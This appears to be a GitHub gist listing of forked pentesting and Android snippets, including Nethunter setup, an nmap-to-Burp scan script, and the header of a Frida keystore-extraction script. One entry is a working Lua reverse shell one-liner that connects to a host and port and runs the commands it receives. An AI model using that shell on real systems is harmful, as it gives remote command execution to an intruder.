Skip to content

Instantly share code, notes, and snippets.

View xtiankisutsa's full-sized avatar

Christian Kisutsa xtiankisutsa

View GitHub Profile
#
# All this should be done in Nethunter chroot
#
apt-get install -y subversion libglib2.0 libxml2-dev libpcap-dev libtool rrdtool librrd-dev autoconf automake autogen redis-server wget libsqlite3-dev libhiredis-dev libgeoip-dev libcurl4-openssl-dev libpango1.0-dev libcairo2-dev
apt-get install -y libpng12-dev git dh-autoreconf libcurl4-gnutls-dev libsqlite3-dev libmysqlclient-dev pkg-config libxml2-dev libglib2.0-dev
# Modify /etc/group by adding redis to inet group
nano /etc/group
# inet:x:3004:postgres,root,beef-xss,daemon,nginx,mysql,redis
@xtiankisutsa
xtiankisutsa / dualnetworking.sh
Created April 26, 2018 11:18 — forked from CHEF-KOCH/dualnetworking.sh
Enable wireless and 4G at the same time (dual-networking) on Android
#!/system/bin/sh
/system/xbin/pkill dhcpcd
/system/bin/svc wifi disable
/system/bin/svc data enable
/system/bin/netcfg wlan0 up
cd /data/misc/wifi/
/system/xbin/rm -rf /data/misc/wifi/sockets/wlan0
/system/bin/wpa_supplicant -B -Dnl80211 -iwlan0 -c/data/misc/wifi/wpa_supplicant.conf
/system/bin/sleep 5
/system/bin/dhcpcd wlan0

adb and fastboot must know

Install android SDK (bottom of the page) or full android studio if you need to develop on android.

fastboot looks like adb but it is used when device is in bootloader (or fastboot).

Check connected devices

adb:

@xtiankisutsa
xtiankisutsa / nmapburp.sh
Created September 10, 2018 09:59 — forked from jgamblin/nmapburp.sh
NMap a network and send all open web servers to Burp.
#!/bin/bash
#Script to Scan All Sites Found With A Simple NMAP Scan With Burp.
sites=$(nmap "$1" --open 443 --resolve-all --open -oG - | awk 'NR!=1 && /open/{print $2}')
for site in $sites
do
curl -vgw "\\n" 'http://127.0.0.1:1337/v0.1/scan' -d '{"urls":["'"$site"'"]}' > /dev/null 2>&1
printf "Scanning %s with burp.\\n" "$site"
done
@xtiankisutsa
xtiankisutsa / lua-reverse-shell.lua
Created October 10, 2018 08:40 — forked from cldrn/lua-reverse-shell.lua
Reverse Shell For Windows and Linux in Lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
@xtiankisutsa
xtiankisutsa / huawei_e8372_config.md
Last active February 22, 2019 08:47 — forked from aayubkh/huawei_e8372_config.md
Huawei E8372 Linux Configuration and Setup

Dependencies

  1. usb_modeswitch, usb_modeswitch-data
  2. libusb1
  3. libusb-devel(Fedora), libusb-dev(Debian based)

Configuration

By default, your linux box would register your Huawei E8372 as a Mass Storage device and not (somehow) as a modem. First, make sure you have the exace same device we're talking about. This can be confirmed by looking at 2 values. Give the following command (while the dongle is plugged in):

    sudo su
    lsusb | grep Huawei
@xtiankisutsa
xtiankisutsa / osx-for-pentesting.sh
Created February 28, 2019 06:17 — forked from gabemarshall/osx-for-pentesting.sh
A fork of osx-for-hackers for my personal pentesting setup preferences
# OSX for Pentesting (Mavericks/Yosemite)
#
# A fork of OSX for Hackers (Original Source: https://gist.github.com/brandonb927/3195465)
#!/bin/sh
# Ask for the administrator password upfront
echo "Have you read through the script prior to running this? (y or n)"
read bcareful
@xtiankisutsa
xtiankisutsa / frida-extract-keystore.py
Created March 18, 2019 14:10 — forked from ceres-c/frida-extract-keystore.py
Automatically extract KeyStore objects and relative password from Android applications with Frida - Read more: http://ceres-c.it/frida-android-keystore/
#!/usr/bin/python3
'''
author: ceres-c
usage: ./frida-extract-keystore.py
Once the keystore(s) have been exported you have to convert them to PKCS12 using keytool
'''
import frida, sys, time
@xtiankisutsa
xtiankisutsa / qbdi_android.cpp
Created April 12, 2019 12:32 — forked from romainthomas/qbdi_android.cpp
QBDI API example
#include <iostream>
#include <iomanip>
#include <cstdlib>
#include <cstdint>
#include <cstring>
#include <jni.h>
#include <set>
#include "LIEF/ELF.hpp"
@xtiankisutsa
xtiankisutsa / attributes.rb
Created April 25, 2019 04:44 — forked from lizthegrey/attributes.rb
Hardening SSH with 2fa
default['sshd']['sshd_config']['AuthenticationMethods'] = 'publickey,keyboard-interactive:pam'
default['sshd']['sshd_config']['ChallengeResponseAuthentication'] = 'yes'
default['sshd']['sshd_config']['PasswordAuthentication'] = 'no'